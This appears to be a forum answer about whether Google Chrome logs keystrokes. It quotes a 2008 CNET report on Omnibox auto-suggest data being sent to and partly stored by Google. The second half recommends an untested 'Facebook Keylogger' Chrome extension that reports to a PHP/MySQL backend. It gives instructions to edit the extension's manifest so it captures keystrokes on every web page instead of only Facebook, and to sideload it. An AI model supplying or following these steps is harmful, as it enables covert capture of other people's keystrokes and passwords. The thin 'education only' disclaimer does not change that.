The value is definitely not updated locally. If Google Chrome in fact records all the users' keystrokes, then it is being sent directly to Google's servers and there is no way to access it.
It is possible that each keystroke is being sent to Google, to allow Chrome to display the auto-suggest results, for example.
CNET article from 2008:
The auto-suggest feature of Google's new Chrome browser does more than
just help users get where they are going. It will also give Google a
wealth of information on what people are doing on the Internet besides
Provided that users leave Chrome's auto-suggest feature on and have
Google as their default search provider, Google will have access to
any keystrokes that are typed into the browser's Omnibox, even before
a user hits enter.
What's more, Google has every intention of retaining some of that data
even after it provides the promised suggestions. A Google
representative told CNET News that the company plans to store about 2
percent of that data - and plans to store it along with the Internet
Protocol address of the computer that typed it.
In theory, that means that if one were to type the address of a
site - even if they decide not to hit enter - they could leave
incriminating evidence on Google's servers.
More info about keystorke logging in Google Chrome's auto-suggest can be found here.
Now, what you can do is use a keylogger extension and record the data yourself. Obviously, you need a safe keylogger for education purpose and not a malicious one.
I found this Facebook Keylogger 1.5.3 for Chrome Extension.
Note: I haven't tested this keylogger. I can't guarantee it will work, although it should.
P.S: This tool is just for education uses only
But you need to know how to work with it:
PHP host, MySQL database, and Browsers (Google Chrome, Firefox, Safari)
After downloading the extension, open it (it's the
.crx file). You should see two files:
manifest.json, you need to edit this piece of code, which currently triggers the keylogger only in
facebook.com URLs, so it will run in any web page. So you need to edit:
"matches": [ "https://www.facebook.com/*", "http://www.facebook.com/*", "http://*.facebook.com/*", "https://*.facebook.com/*"]
"matches": [ "http://*/*", "https://*/*"]
And then drag the modified
.crx extension file to
chrome://chrome/extensions/ and drop it there, so it will get installed.